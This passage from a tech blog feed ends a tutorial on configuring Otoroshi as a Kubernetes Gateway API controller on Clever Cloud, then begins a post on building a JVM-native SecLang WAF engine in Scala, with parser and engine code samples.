<li><p><code>gatewayClassName: otoroshi</code> links this Gateway to our GatewayClass</p>
</li>
<li><p>The listener is on port 80 (HTTP), matching one of our <code>gatewayApiHttpListenerPort</code> values</p>
</li>
<li><p><code>hostname: "*.demo-cke.io"</code> is a wildcard — any subdomain of <code>demo-cke.io</code> can be routed through this gateway</p>
</li>
<li><p><code>allowedRoutes.namespaces.from: All</code> means HTTPRoute resources from <em>any</em> namespace can attach to this gateway. For production, you'd likely want <code>Same</code> or <code>Selector</code> with specific labels</p>
</li>
</ul>
<p>Apply it:</p>
<pre><code class="language-bash">kubectl apply -f manifests/gateway.yaml
</code></pre>
<p>A few seconds after applying (the Gateway API watch mode kicks in very quickly with <code>gatewayApiSyncIntervalSeconds: 2</code>), you can verify the GatewayClass was accepted:</p>
<pre><code class="language-bash">kubectl get gatewayclass otoroshi -o yaml
</code></pre>
<p>Look for the status section:</p>
<pre><code class="language-yaml">status:
  conditions:
  - lastTransitionTime: "..."
    message: GatewayClass accepted
    reason: Accepted
    status: "True"
    type: Accepted
</code></pre>
<p><code>Accepted: True</code> means Otoroshi recognized the GatewayClass and is managing it. If you see <code>False</code> here, double-check that the <code>controllerName</code> matches exactly — it's case-sensitive.</p>
<h3>Step 10: Deploy a Demo Application and HTTPRoute</h3>
<p>Now let's deploy something to actually route traffic to. I'm using <code>traefik/whoami</code> — a tiny Go web server that echoes back information about the HTTP request it received. Perfect for debugging and demos.</p>
<p>Here's the full manifest (<code>manifests/routes.yaml</code>):</p>
<pre><code class="language-yaml">apiVersion: v1
kind: Namespace
metadata:
  name: demo
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: whoami
  namespace: demo
  labels:
    app: whoami
spec:
  replicas: 1
  selector:
    matchLabels:
      app: whoami
  template:
    metadata:
      labels:
        app: whoami
    spec:
      containers:
        - name: whoami
          image: traefik/whoami:latest
          ports:
            - name: http
              containerPort: 80
          readinessProbe:
            httpGet:
              path: /
              port: http
            initialDelaySeconds: 1
            periodSeconds: 5
          livenessProbe:
            httpGet:
              path: /
              port: http
            initialDelaySeconds: 5
            periodSeconds: 10
---
apiVersion: v1
kind: Service
metadata:
  name: whoami
  namespace: demo
  labels:
    app: whoami
spec:
  type: ClusterIP
  selector:
    app: whoami
  ports:
    - name: http
      port: 80
      targetPort: http
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: my-route
  namespace: demo
spec:
  parentRefs:
  - name: demo-otoroshi-gateway
    namespace: otoroshi
    sectionName: http
  hostnames:
  - "whoami.demo-cke.io"
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /v1
    backendRefs:
    - name: whoami
      port: 80
      weight: 1
</code></pre>
<p>The <code>HTTPRoute</code> is particularly interesting. Let me walk through it:</p>
<ul>
<li><p><code>parentRefs</code> — this references our <code>demo-otoroshi-gateway</code> Gateway (note: since the Gateway is in the <code>demo</code> namespace and the HTTPRoute is also in <code>demo</code>, no cross-namespace reference grant is needed). <code>sectionName: http</code> ties this route specifically to the <code>http</code> listener of that gateway.</p>
</li>
<li><p><code>hostnames</code> — this route only applies to requests with the <code>Host: whoami.demo-cke.io</code> header</p>
</li>
<li><p><code>rules</code> — one rule: match requests where the path starts with <code>/v1</code>, forward to the <code>whoami</code> service on port 80</p>
</li>
</ul>
<p>Apply it:</p>
<pre><code class="language-bash">kubectl apply -f manifests/routes.yaml
</code></pre>
<p>After a moment, check the HTTPRoute status:</p>
<pre><code class="language-bash">kubectl get httproute my-route -n demo -o yaml
</code></pre>
<p>The status should show:</p>
<pre><code class="language-yaml">status:
  parents:
  - conditions:
    - lastTransitionTime: "..."
      message: Route accepted
      reason: Accepted
      status: "True"
      type: Accepted
    - lastTransitionTime: "..."
      message: All references resolved
      reason: ResolvedRefs
      status: "True"
      type: ResolvedRefs
    parentRef:
      name: demo-otoroshi-gateway
      sectionName: http
</code></pre>
<p>Both <code>Accepted: True</code> and <code>ResolvedRefs: True</code> — all the backend references are valid and the route has been accepted by the gateway.</p>
<h3>Step 11: DNS Configuration</h3>
<p>We need <code>whoami.demo-cke.io</code> to resolve to our load balancer's external IP. In a real setup, you'd add a DNS A record (or a wildcard <code>*.demo-cke.io</code> record) pointing to that IP.</p>
<p>Get your load balancer IP:</p>
<pre><code class="language-bash">kubectl -n otoroshi get service otoroshi-lb-external
NAME                   TYPE           CLUSTER-IP      EXTERNAL-IP        PORT(S)
otoroshi-lb-external   LoadBalancer   10.x.x.x        &lt;LOAD_BALANCER_IP&gt;  80:..., 443:...
</code></pre>
<p>For this demo, rather than setting up actual DNS, we can use <code>curl</code>'s <code>--resolve</code> flag to manually map the hostname to the IP — simulating what DNS would do.</p>
<h3>Step 12: The Moment of Truth</h3>
<pre><code class="language-bash">curl -v --resolve whoami.demo-cke.io:80:&lt;LOAD_BALANCER_IP&gt; http://whoami.demo-cke.io/v1
</code></pre>
<p>If everything is wired up correctly, you'll see something like:</p>
<pre><code class="language-plaintext">*   Trying &lt;LOAD_BALANCER_IP&gt;:80...
* Connected to whoami.demo-cke.io (&lt;LOAD_BALANCER_IP&gt;) port 80
&gt; GET /v1 HTTP/1.1
&gt; Host: whoami.demo-cke.io
&gt; User-Agent: curl/8.x.x
&gt; Accept: */*
&gt;
&lt; HTTP/1.1 200 OK
&lt; Content-Type: text/plain; charset=utf-8
&lt;
Hostname: whoami-xxxxxxxxx-xxxxx
IP: 127.0.0.1
IP: ::1
IP: 10.x.x.x
RemoteAddr: 10.x.x.x:xxxx
GET /v1 HTTP/1.1
Host: whoami.demo-cke.io
User-Agent: curl/8.x.x
Accept: */*
X-Forwarded-For: x.x.x.x
X-Forwarded-Host: whoami.demo-cke.io
X-Forwarded-Proto: http
X-Real-Ip: x.x.x.x
</code></pre>
<p>A clean HTTP 200. Traffic flowed from <code>curl</code> → Clever Cloud Load Balancer → Otoroshi (routing based on the <code>HTTPRoute</code> we defined) → the <code>whoami</code> pod in the <code>demo</code> namespace.</p>
<p>Notice the <code>X-Forwarded-For</code>, <code>X-Forwarded-Host</code>, and <code>X-Real-Ip</code> headers that Otoroshi injected. It's transparent to the backend service but fully managed at the gateway layer.</p>
<hr />
<h2>Troubleshooting Tips</h2>
<p>If something doesn't work, here's my debugging checklist:</p>
<p><strong>Check Otoroshi's logs:</strong></p>
<pre><code class="language-bash">kubectl -n otoroshi logs -f deploy/otoroshi --tail=200
</code></pre>
<p>Look for lines mentioning <code>KubernetesGatewayApiControllerJob</code>, <code>GatewayClass</code>, or <code>HTTPRoute</code>. Any errors in reconciliation will show up here.</p>
<p><strong>Check resource statuses:</strong></p>
<pre><code class="language-bash">kubectl get gatewayclass otoroshi -o yaml
kubectl get gateway demo-otoroshi-gateway -n demo -o yaml
kubectl get httproute my-route -n demo -o yaml
</code></pre>
<p>The <code>status.conditions</code> fields tell you exactly what's wrong. Common issues:</p>
<ul>
<li><p><code>GatewayClass: Accepted: False</code> → <code>controllerName</code> mismatch</p>
</li>
<li><p><code>Gateway Listener: Programmed: False</code> → The port in the Gateway spec doesn't match <code>gatewayApiHttpListenerPort</code> in Otoroshi's config</p>
</li>
<li><p><code>HTTPRoute: Accepted: False</code> → <code>parentRef</code> is wrong or the namespace isn't allowed by the Gateway's <code>allowedRoutes</code></p>
</li>
</ul>
<p><strong>Verify the generated routes in Otoroshi:</strong></p>
<pre><code class="language-bash">curl -s http://&lt;otoroshi-service-ip&gt;:8080/api/routes \
  -u admin-api-apikey-id:admin-api-apikey-secret | \
  jq '.[] | select(.metadata["otoroshi-provider"] == "kubernetes-gateway-api") | {id, name}'
</code></pre>
<p>If the route was generated, it'll show up here. If the list is empty, the reconciliation hasn't happened or encountered an error.</p>
<p><strong>Check that the backend pod is running:</strong></p>
<pre><code class="language-bash">kubectl get pods -n demo
kubectl get service whoami -n demo
</code></pre>
<p>If the pod isn't ready or the service selector doesn't match the pods, you'll get 503s.</p>
<hr />
<h2>Going Further: What Else Can You Do?</h2>
<p>What I've shown here is the basics — routing HTTP traffic from a hostname/path to a backend service. But the Gateway API support in Otoroshi goes quite a bit further.</p>
<h3>Traffic Splitting for Canary Deployments</h3>
<p>The <code>weight</code> field in <code>backendRefs</code> lets you split traffic between multiple versions of a service:</p>
<pre><code class="language-yaml">rules:
- backendRefs:
  - name: my-service-v1
    port: 80
    weight: 90
  - name: my-service-v2
    port: 80
    weight: 10
</code></pre>
<p>This sends 90% of traffic to v1 and 10% to v2 — a classic canary deployment pattern, all configured declaratively.</p>
<h3>Header Manipulation</h3>
<p>Built-in filters let you add, modify, or remove request and response headers:</p>
<pre><code class="language-yaml">rules:
- filters:
  - type: RequestHeaderModifier
    requestHeaderModifier:
      add:
      - name: X-Request-Source
        value: gateway
      remove:
      - X-Internal-Secret
  backendRefs:
  - name: my-service
    port: 80
</code></pre>
<h3>Redirects and URL Rewrites</h3>
<pre><code class="language-yaml">rules:
- matches:
  - path:
      type: PathPrefix
      value: /old-api
  filters:
  - type: RequestRedirect
    requestRedirect:
      scheme: https
      statusCode: 301
</code></pre>
<h3>Extending with Otoroshi Plugins</h3>
<p>This is where things get really powerful. You can attach Otoroshi's plugin system to routes via annotations:</p>
<pre><code class="language-yaml">apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: my-secure-route
  namespace: demo
  annotations:
    proxy.otoroshi.io/route-plugins: |
      [
        {
          "plugin": "cp:otoroshi.next.plugins.ApikeyCalls",
          "enabled": true,
          "config": {}
        }
      ]
spec:
  # ... rest of the HTTPRoute
</code></pre>
<p>This annotation adds API key authentication enforcement to the route — using Otoroshi's full plugin ecosystem, accessed through a standard Kubernetes annotation. You can add rate limiting, JWT validation, WAF rules, and any of Otoroshi's 200+ plugins this way.</p>
<h3>Cross-Namespace Routing</h3>
<p>If your HTTPRoute is in a different namespace than the backend Service, you need a <code>ReferenceGrant</code> in the target namespace:</p>
<pre><code class="language-yaml">apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
  name: allow-from-frontend
  namespace: backend
spec:
  from:
  - group: gateway.networking.k8s.io
    kind: HTTPRoute
    namespace: frontend
  to:
  - group: ""
    kind: Service
</code></pre>
<h3>HTTPS/TLS Termination</h3>
<p>To terminate TLS at Otoroshi, reference a Kubernetes TLS secret in your Gateway listener:</p>
<pre><code class="language-yaml">listeners:
- name: https
  protocol: HTTPS
  port: 443
  hostname: "*.example.com"
  tls:
    mode: Terminate
    certificateRefs:
    - name: my-tls-secret
  allowedRoutes:
    namespaces:
      from: All
</code></pre>
<p>Otoroshi will import the certificate from the Secret and handle TLS termination for all routes attached to this listener.</p>
<hr />
<h2>Wrapping Up</h2>
<p>This is a setup that genuinely works, and works well.</p>
<p>CKE gets you a production-ready Kubernetes cluster in minutes. The <code>clever k8s create</code> command, the NodeGroup abstraction for worker pools, the automatic load balancer provisioning — it's fast, clean, and there's very little friction between "I want a cluster" and "I have a cluster". If you're already using Clever Cloud for your other workloads, it fits right into your existing workflow without any surprise.</p>
<p>Otoroshi's Gateway API implementation delivers exactly what you'd expect from it: fast reconciliation (changes propagate in seconds with <code>gatewayApiWatch: true</code>), accurate status updates on GatewayClass, Gateway, and HTTPRoute resources that make debugging straightforward, and full access to Otoroshi's plugin ecosystem through annotations. The entire routing, security, and traffic management surface of Otoroshi — 200+ plugins — is available from standard Kubernetes manifests. That's the implementation working as designed.</p>
<p>The whole stack comes together cleanly: a few <code>kubectl</code> commands, a handful of YAML manifests, and you have a fully functional API gateway integrated with the Kubernetes Gateway API standard. If you're already familiar with Otoroshi — which you might well be if you use Clever Cloud, since it's available as an add-on — the learning curve is essentially zero. You're just expressing what Otoroshi already does, in the standard Kubernetes way.</p>
<p>The era of annotation-heavy Ingress resources and controller-specific lock-in is ending. The Gateway API is the way forward, and with Otoroshi on CKE, the path there is straightforward.</p>
<p>If you have questions, run into issues, or want to share what you build with this stack, reach out to us at <a href="https://www.cloud-apim.com/">Cloud APIM</a>. We're always happy to talk Kubernetes networking, API gateways, and all things Otoroshi.</p>
<h2>Resources</h2>
<ul>
<li><p><a href="https://www.clever.cloud/developers/doc/kubernetes">Clever Cloud Kubernetes documentation</a></p>
</li>
<li><p><a href="https://maif.github.io/otoroshi/manual/index.html">Otoroshi documentation</a></p>
</li>
<li><p><a href="https://maif.github.io/otoroshi/manual/features.html">Otoroshi features overview</a></p>
</li>
<li><p><a href="https://maif.github.io/otoroshi/manual/deploy/kubernetes.html">Otoroshi Kubernetes deployment guide</a></p>
</li>
<li><p><a href="https://maif.github.io/otoroshi/manual/topics/kubernetes-gateway-api.html">Otoroshi Gateway API integration</a></p>
</li>
<li><p><a href="https://gateway-api.sigs.k8s.io/">Kubernetes Gateway API official documentation</a></p>
</li>
<li><p><a href="https://github.com/kubernetes-sigs/gateway-api/releases/tag/v1.4.0">Gateway API v1.4.0 release</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Building a JVM-Native WAF: A Journey from WASM to Pure Scala]]></title><description><![CDATA[For the past two years, Otoroshi has had a Web Application Firewall powered by Coraza, the excellent Go implementation of ModSecurity. To achieve that, we compiled Coraza to WebAssembly (wasm) and ran it inside Otoroshi using our wasm virtual machine...]]></description><link>https://blog.cloud-apim.com/building-a-jvm-native-waf-a-journey-from-wasm-to-pure-scala</link><guid isPermaLink="true">https://blog.cloud-apim.com/building-a-jvm-native-waf-a-journey-from-wasm-to-pure-scala</guid><category><![CDATA[CRS]]></category><category><![CDATA[CoreRuleSet]]></category><category><![CDATA[seclang]]></category><category><![CDATA[Scala]]></category><category><![CDATA[jvm]]></category><category><![CDATA[waf]]></category><category><![CDATA[owasp]]></category><category><![CDATA[Web Application Firewall]]></category><category><![CDATA[Security]]></category><category><![CDATA[modsecurity]]></category><dc:creator><![CDATA[Mathieu Ancelin]]></dc:creator><pubDate>Tue, 03 Feb 2026 07:00:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1769682729237/a9e9b9fa-f704-4c2a-a0f1-81f1b4543e5b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>For the past two years, <a target="_blank" href="https://www.otoroshi.io/">Otoroshi</a> has had a Web Application Firewall powered by <a target="_blank" href="https://coraza.io/">Coraza</a>, the excellent Go implementation of ModSecurity. To achieve that, we compiled Coraza to WebAssembly (wasm) and ran it inside Otoroshi using our wasm virtual machines orchestrator <a target="_blank" href="https://github.com/MAIF/wasm4s">wasm4s</a>. It worked really great, especially when you don't have a lot of WAF configuration. But as we scaled the number of WAF configurations and number of concurrent WASM VM instances to hundreds, cracks started to show. Due to the stateful nature of the Coraza WASM integration, one configuration (list of SecLang statement, typically different for each tenant) is tied to one WASM VM. We cannot initialize a generic WASM VM and dynamically inject a different configuration for each evaluation. So naturally, with hundreds of possible configurations, memory exploded, latency increased and configurations became unmanageable.</p>
<p>This is the story of how I built a complete SecLang engine in Scala during my Christmas vacation (well you know, after the kids went to bed!), why I did it, and all the technical challenges along the way.</p>
<h2 id="heading-the-problem-with-wasm-based-wafs">The Problem with WASM-Based WAFs</h2>
<p>Before diving into the solution, let me explain why we needed one in the first place.</p>
<p>Our WASM-based Coraza integration had several pain points:</p>
<ol>
<li><p><strong>Single-threaded execution</strong>: WASM is inherently single-threaded. To handle concurrent requests, we had to spin up multiple WASM virtual machines per WAF configuration.</p>
</li>
<li><p><strong>Memory footprint</strong>: Each WASM instance loads a ~20MB binary. Multiply that by the number of instances needed for multi-tenancy / concurrency, and memory usage adds up fast.</p>
</li>
<li><p><strong>Serialization overhead</strong>: Every request had to be serialized from JVM objects to WASM-compatible structures, processed, then deserialized back. At scale, this serialization dance became a measurable bottleneck.</p>
</li>
<li><p><strong>Configuration duplication</strong>: Each WASM instance needed its own copy of the rules. No sharing, no caching, no composition.</p>
</li>
</ol>
<p>In short: WASM solved portability, but exposed scalability limits in our very specific multi-tenant configuration model at <a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a>. What we needed was a native JVM implementation: thread-safe, memory-efficient, and designed for multi-tenant environments where configurations can be shared and composed. At that scale, the limiting factor was not WebAssembly itself, but the way execution environments and configurations were coupled.</p>
<h2 id="heading-understanding-the-landscape-modsecurity-seclang-and-coreruleset">Understanding the Landscape: ModSecurity, SecLang, and CoreRuleSet</h2>
<p>Before I explain how I built the solution, let's make sure we're all on the same page about the ecosystem.</p>
<h3 id="heading-modsecurity-the-grandfather-of-wafs">ModSecurity: The Grandfather of WAFs</h3>
<p><a target="_blank" href="https://github.com/owasp-modsecurity/ModSecurity">ModSecurity</a> is the most widely deployed open-source Web Application Firewall. Originally created for Apache in 2002, it later became a standalone library that can be embedded in any web server or proxy.</p>
<p>ModSecurity itself doesn't block attacks—it provides the <em>engine</em>. You feed it rules, and it evaluates incoming requests against those rules.</p>
<h3 id="heading-seclang-the-rule-language">SecLang: The Rule Language</h3>
<p><a target="_blank" href="https://github.com/owasp-modsecurity/ModSecurity/wiki/Reference-Manual-%28v3.x%29">SecLang</a> (or "SecRule Language") is the domain-specific language used to write ModSecurity rules. It's become a de facto standard—virtually every serious WAF implementation understands SecLang rules.</p>
<p>Here's what a typical SecLang rule looks like:</p>
<pre><code class="lang-plaintext">SecRule REQUEST_HEADERS:User-Agent "@pm firefox chrome safari" \
    "id:1001,\
    phase:1,\
    pass,\
    t:none,t:lowercase,\
    msg:'Browser detected',\
    tag:'browser-detection'"
</code></pre>
<p>Let's break this down:</p>
<ul>
<li><p><code>SecRule</code>: The directive that defines a rule</p>
</li>
<li><p><code>REQUEST_HEADERS:User-Agent</code>: The variable to inspect (HTTP User-Agent header)</p>
</li>
<li><p><code>@pm firefox chrome safari</code>: The operator (<code>@pm</code> = phrase match, checks if any of the words appear)</p>
</li>
<li><p><code>id:1001</code>: Unique rule identifier</p>
</li>
<li><p><code>phase:1</code>: When to execute (phase 1 = after headers are received)</p>
</li>
<li><p><code>pass</code>: Action to take on match (continue processing)</p>
</li>
<li><p><code>t:none,t:lowercase</code>: Transformations to apply before matching</p>
</li>
<li><p><code>msg:'...'</code>: Log message when rule matches</p>
</li>
<li><p><code>tag:'...'</code>: Categorization tag</p>
</li>
</ul>
<p>SecLang supports five execution phases:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Phase</td><td>Name</td><td>When</td></tr>
</thead>
<tbody>
<tr>
<td>1</td><td>Request Headers</td><td>After request headers are received</td></tr>
<tr>
<td>2</td><td>Request Body</td><td>After request body is received</td></tr>
<tr>
<td>3</td><td>Response Headers</td><td>After response headers are received</td></tr>
<tr>
<td>4</td><td>Response Body</td><td>After response body is received</td></tr>
<tr>
<td>5</td><td>Logging</td><td>Before logging</td></tr>
</tbody>
</table>
</div><h3 id="heading-owasp-coreruleset-the-industry-standard">OWASP CoreRuleSet: The Industry Standard</h3>
<p>The <a target="_blank" href="https://coreruleset.org/">OWASP CoreRuleSet (CRS)</a> is a comprehensive set of SecLang rules that protect against common web attacks:</p>
<ul>
<li><p>SQL Injection</p>
</li>
<li><p>Cross-Site Scripting (XSS)</p>
</li>
<li><p>Local File Inclusion (LFI)</p>
</li>
<li><p>Remote Code Execution</p>
</li>
<li><p>Protocol violations</p>
</li>
<li><p>And dozens more categories</p>
</li>
</ul>
<p>CRS is battle-tested, regularly updated, and used by major CDNs and WAF vendors worldwide. Any serious SecLang implementation needs to be CRS-compatible.</p>
<p>The current version (CRS 4.x) contains over 600 rules organized into categories like:</p>
<pre><code class="lang-plaintext">REQUEST-911-METHOD-ENFORCEMENT.conf
REQUEST-913-SCANNER-DETECTION.conf
REQUEST-920-PROTOCOL-ENFORCEMENT.conf
REQUEST-930-APPLICATION-ATTACK-LFI.conf
REQUEST-932-APPLICATION-ATTACK-RCE.conf
REQUEST-933-APPLICATION-ATTACK-PHP.conf
REQUEST-941-APPLICATION-ATTACK-XSS.conf
REQUEST-942-APPLICATION-ATTACK-SQLI.conf
REQUEST-949-BLOCKING-EVALUATION.conf
...
</code></pre>
<blockquote>
<p>To sum it up: ModSecurity is the engine, SecLang is the language, and CRS is the knowledge base.</p>
</blockquote>
<h2 id="heading-the-christmas-project-begins">The Christmas Project Begins</h2>
<p>It was late December, and I was looking for a fun side project. I had been pondering the WAF problem for months—maybe years— but always convinced myself it was too complex. The SecLang parser alone seemed like a mountain. I'd already tried some approaches using <a target="_blank" href="https://github.com/scala/scala-parser-combinators">scala parser combinators</a>, <a target="_blank" href="https://github.com/com-lihaoyi/fastparse">fastparse</a>, even regular expressions, but nothing seemed to work 100% of the time.</p>
<p>Then I stumbled upon <a target="_blank" href="https://github.com/coreruleset/seclang_parser">seclang_parser</a>—an ANTLR grammar for SecLang, maintained by the CoreRuleSet team. Suddenly, the mountain looked more like a hill.</p>
<p>Here's the high-level architecture I ended up building:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769431760830/8cbb8803-70da-4587-9227-5fdb00cae9b5.png" alt class="image--center mx-auto" /></p>
<p>The key insight: compilation happens once, evaluation happens per-request. Let's walk through each component.</p>
<h2 id="heading-part-1-the-parser">Part 1: The Parser</h2>
<h3 id="heading-antlr-to-the-rescue">ANTLR to the Rescue</h3>
<p><a target="_blank" href="https://www.antlr.org/">ANTLR</a> (Another Tool for Language Recognition) is a parser generator that reads grammar files and produces parsers in various target languages. Given a <code>.g4</code> grammar file, ANTLR generates a lexer, parser, and visitor/listener classes.</p>
<p>I took the seclang_parser grammar and generated Java code:</p>
<pre><code class="lang-bash">antlr4 -visitor -package com.cloud.apim.seclang.antlr SecLangLexer.g4 SecLangParser.g4
</code></pre>
<p>This gave me a solid foundation, but ANTLR only handles the syntax—I still needed to build the AST (Abstract Syntax Tree).</p>
<h3 id="heading-building-the-ast-visitor">Building the AST Visitor</h3>
<p>ANTLR uses the visitor pattern. You extend the generated <code>SecLangParserBaseVisitor</code> class and implement methods for each grammar rule you care about.</p>
<pre><code class="lang-scala"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">AstBuilderVisitor</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">SecLangParserBaseVisitor</span>[<span class="hljs-type">Any</span>] </span>{

  <span class="hljs-keyword">override</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">visitConfiguration</span></span>(ctx: <span class="hljs-type">ConfigurationContext</span>): <span class="hljs-type">Configuration</span> = {
    <span class="hljs-keyword">val</span> statements = ctx.statement().asScala.flatMap { stmtCtx =&gt;
      <span class="hljs-type">Option</span>(visitStmt(stmtCtx)).collect { <span class="hljs-keyword">case</span> s: <span class="hljs-type">Statement</span> =&gt; s }
    }.toList
    <span class="hljs-type">Configuration</span>(statements)
  }

  <span class="hljs-keyword">override</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">visitSecRule</span></span>(ctx: <span class="hljs-type">SecRuleContext</span>): <span class="hljs-type">SecRule</span> = {
    <span class="hljs-keyword">val</span> variables = visitVariables(ctx.variables())
    <span class="hljs-keyword">val</span> operator = visitOperator(ctx.operator())
    <span class="hljs-keyword">val</span> actions = <span class="hljs-type">Option</span>(ctx.actions()).map(visitActions)
    <span class="hljs-type">SecRule</span>(<span class="hljs-type">None</span>, variables, operator, actions, ctx.getText)
  }

  <span class="hljs-comment">// ... hundreds more visitor methods</span>
}
</code></pre>
<p>The parser entry point is simple:</p>
<pre><code class="lang-scala"><span class="hljs-class"><span class="hljs-keyword">object</span> <span class="hljs-title">AntlrParser</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">parse</span></span>(input: <span class="hljs-type">String</span>): <span class="hljs-type">Either</span>[<span class="hljs-type">String</span>, <span class="hljs-type">Configuration</span>] = {
    <span class="hljs-keyword">val</span> lexer = <span class="hljs-keyword">new</span> <span class="hljs-type">SecLangLexer</span>(<span class="hljs-type">CharStreams</span>.fromString(input))
    <span class="hljs-keyword">val</span> tokens = <span class="hljs-keyword">new</span> <span class="hljs-type">CommonTokenStream</span>(lexer)
    <span class="hljs-keyword">val</span> parser = <span class="hljs-keyword">new</span> <span class="hljs-type">SecLangParser</span>(tokens)

    <span class="hljs-keyword">val</span> errorListener = <span class="hljs-keyword">new</span> <span class="hljs-type">CollectingErrorListener</span>()
    parser.removeErrorListeners()
    parser.addErrorListener(errorListener)

    <span class="hljs-keyword">val</span> tree = parser.configuration()

    <span class="hljs-keyword">if</span> (errorListener.hasErrors) {
      <span class="hljs-type">Left</span>(errorListener.getErrors.mkString(<span class="hljs-string">"\n"</span>))
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-keyword">val</span> visitor = <span class="hljs-keyword">new</span> <span class="hljs-type">AstBuilderVisitor</span>()
      <span class="hljs-type">Right</span>(visitor.visitConfiguration(tree))
    }
  }
}
</code></pre>
<p>This was the foundation. With my friend Claude's help, I was able to flesh out all the visitor methods and handle the quirks of SecLang syntax. The parser visitor alone is about 400 lines of Scala (backed by 11k lines of Java generated by ANTLR).</p>
<h2 id="heading-part-2-the-compiler">Part 2: The Compiler</h2>
<p>Once I had an AST, I needed to transform it into something executable. Over time, it became clear that a SecLang engine is less about request filtering and more about interpreting a security-specific programming language under strict performance constraints. The compiler's job is to:</p>
<ol>
<li><p><strong>Resolve rule chains</strong>: SecLang allows chaining rules with the <code>chain</code> action—if the first rule matches, check the second, and so on.</p>
</li>
<li><p><strong>Organize by phase</strong>: Group rules by their execution phase for efficient processing.</p>
</li>
<li><p><strong>Handle rule removals</strong>: Process <code>SecRuleRemoveById</code>, <code>SecRuleRemoveByTag</code>, etc.</p>
</li>
<li><p><strong>Index markers</strong>: For <code>skipAfter</code> actions, pre-compute marker positions.</p>
</li>
<li><p><strong>Pre-compile regexes</strong>: Compile regular expressions once, not on every evaluation.</p>
</li>
</ol>
<p>Here's a simplified view of the chain resolution logic:</p>
<pre><code class="lang-scala"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">compileChains</span></span>(rules: <span class="hljs-type">List</span>[<span class="hljs-type">SecRule</span>]): <span class="hljs-type">List</span>[<span class="hljs-type">RuleChain</span>] = {
  <span class="hljs-keyword">var</span> chains = <span class="hljs-type">ListBuffer</span>[<span class="hljs-type">RuleChain</span>]()
  <span class="hljs-keyword">val</span> current = <span class="hljs-type">ListBuffer</span>[<span class="hljs-type">SecRule</span>]()

  <span class="hljs-keyword">for</span> (rule &lt;- rules) {
    current += rule
    <span class="hljs-keyword">if</span> (!rule.isChain) {
      <span class="hljs-comment">// Chain complete, emit it</span>
      chains += <span class="hljs-type">RuleChain</span>(current.toList)
      current.clear()
    }
  }

  chains.toList
}
</code></pre>
<p>The compiler outputs a <code>CompiledProgram</code>:</p>
<pre><code class="lang-scala"><span class="hljs-keyword">case</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">CompiledProgram</span>(<span class="hljs-params">
  chains: <span class="hljs-type">Map</span>[<span class="hljs-type">Int</span>, <span class="hljs-type">List</span>[<span class="hljs-type">RuleChain</span>]],   // phase -&gt; chains
  markers: <span class="hljs-type">Map</span>[<span class="hljs-type">String</span>, <span class="hljs-type">Int</span>],           // marker name -&gt; index
  mode: <span class="hljs-type">EngineMode</span>                     // <span class="hljs-type">On</span>, <span class="hljs-type">Off</span>, or <span class="hljs-type">DetectionOnly</span>
</span>)</span>
</code></pre>
<h2 id="heading-part-3-the-runtime-engine">Part 3: The Runtime Engine</h2>
<p>This is where the real work happens. The engine evaluates a <code>CompiledProgram</code> against a <code>RequestContext</code> and returns a disposition (continue or block).</p>
<h3 id="heading-the-core-loop">The Core Loop</h3>
<p>Here's a simplified view of the core loop logic:</p>
<pre><code class="lang-scala"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">evaluate</span></span>(ctx: <span class="hljs-type">RequestContext</span>, phases: <span class="hljs-type">List</span>[<span class="hljs-type">Int</span>]): <span class="hljs-type">EngineResult</span> = {
  <span class="hljs-keyword">var</span> state = <span class="hljs-type">RuntimeState</span>.initial(program.mode)

  <span class="hljs-keyword">for</span> (phase &lt;- phases <span class="hljs-keyword">if</span> state.shouldContinue) {
    <span class="hljs-keyword">for</span> (chain &lt;- program.chains.getOrElse(phase, <span class="hljs-type">Nil</span>)) {
      <span class="hljs-keyword">val</span> result = evaluateChain(chain, ctx, state)
      state = result.state

      result.disposition <span class="hljs-keyword">match</span> {
        <span class="hljs-keyword">case</span> <span class="hljs-type">Disposition</span>.<span class="hljs-type">Block</span>(status, msg, ruleId) =&gt;
          <span class="hljs-comment">// Early exit</span>
          <span class="hljs-keyword">return</span> <span class="hljs-type">EngineResult</span>(
            <span class="hljs-type">Disposition</span>.<span class="hljs-type">Block</span>(status, msg, ruleId), 
            state
          )
        <span class="hljs-keyword">case</span> <span class="hljs-type">Disposition</span>.<span class="hljs-type">Continue</span> =&gt;
          <span class="hljs-comment">// Keep going</span>
      }
    }
  }

  <span class="hljs-type">EngineResult</span>(<span class="hljs-type">Disposition</span>.<span class="hljs-type">Continue</span>, state)
}
</code></pre>
<h3 id="heading-variables-transformations-operators-actions">Variables, Transformations, Operators, Actions</h3>
<p>The engine implements four key components, all following the same pattern—Scala pattern matching over the AST:</p>
<ul>
<li><p><strong>Variables</strong> (30+): Extract data from the request (<code>REQUEST_URI</code>, <code>REQUEST_HEADERS</code>, <code>ARGS</code>, <code>COOKIES</code>, etc.). Support collection access with keys and regex selectors like <code>REQUEST_HEADERS:/^X-Custom-/</code>.</p>
</li>
<li><p><strong>Transformations</strong> (25+): Normalize values before matching (<code>lowercase</code>, <code>urlDecode</code>, <code>base64Decode</code>, <code>htmlEntityDecode</code>, <code>removeWhitespace</code>, etc.). Can be chained: <code>t:lowercase,t:urlDecode</code>.</p>
</li>
